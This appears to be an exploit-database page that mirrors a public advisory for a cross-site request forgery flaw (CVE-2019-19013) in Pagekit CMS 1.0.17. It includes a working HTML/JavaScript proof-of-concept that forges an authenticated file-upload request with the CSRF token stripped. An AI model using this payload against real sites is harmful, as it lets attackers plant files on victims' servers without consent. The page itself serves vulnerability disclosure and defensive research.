Advertisement






Pagekit CMS 1.0.17 Cross Site Request Forgery

CVE Category Price Severity
CVE-2019-19013 CWE-352 $500 High
Author Risk Exploitation Type Date
exploitalert High Remote 2019-11-21
Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2019110140

Below is a copy:

Pagekit CMS 1.0.17 Cross Site Request Forgery
Title:
====

Pagekit CMS 1.0.17 Cross-Site Request Forgery (CSRF) vulnerability


Credit:
======

Name: Christian Bortone


CVE:

====

CVE-2019-19013


Date:
====

11/18/2019 (dd/mm/yyyy)


Vendor:
======

Pagekit is a modern and lightweight open source CMS.

Vendor link: https://pagekit.com/


Vulnerable Product:
==============

Pagekit CMS 1.0.17


Abstract:
=======

Cross-Site Request Forgery (CSRF) vulnerability in Pagekit 1.0.17 could allow an attacker to upload arbitrary file by removing the CSRF token from the request.


Exploitation-Technique:
===================

Remote


Severity Rating (CVSS):
===================

4.6 (Medium) (CVSS:3.0/AV:N/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:N)


Details:
=======

A Cross-Site Request Forgery (CSRF) vulnerability is discovered in Pagekit CMS which allows a remote attacker to upload forged files on the server without victim's knowledge by enticing authenticated user to visit attacker page/URL. The specific flaw exists within the handling of request to upload file in the store section. The application failed to validate CSRF token on the POST request (the token can be remove from the request). The request also contain a second token (WebkitFormBoudary) not tied to the session user. An attacker with less privilege on the system can operate a CRSF attack

Vulnerable module/page/application: /site/storage (upload file) 


PoC Exploit code:
----------------------------------------------------------------------------

<html>

  <body>

  <script>history.pushState('', '', '/')</script>

    <script>

      function submitRequest()

      {

        var xhr = new XMLHttpRequest();

        xhr.open("POST", "http:\/\/localhost\/pagekit\/system\/finder\/upload", true);

        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundaryJze564AoGkbRRRUz");

        xhr.setRequestHeader("Accept", "*\/*");

        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.9");

        xhr.withCredentials = true;

        var body = "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"files[]\"; filename=\"test.jpg\"\r\n" +

          "Content-Type: image/jpeg\r\n" +

          "\r\n" +

          "\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"path\"\r\n" +

          "\r\n" +

          "/\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"root\"\r\n" +

          "\r\n" +

          "storage\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz\r\n" +

          "Content-Disposition: form-data; name=\"_csrf\"\r\n" +

          "\r\n" +

          "\r\n" +

          "------WebKitFormBoundaryJze564AoGkbRRRUz--\r\n";

        var aBody = new Uint8Array(body.length);

        for (var i = 0; i < aBody.length; i++)

          aBody[i] = body.charCodeAt(i);

        xhr.send(new Blob([aBody]));

      }

      submitRequest();

    </script>

    <form action="#">

      <input type="button" value="Submit request" onclick="submitRequest();" />

    </form>

  </body>

</html>


----------------------------------------------------------------------------

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum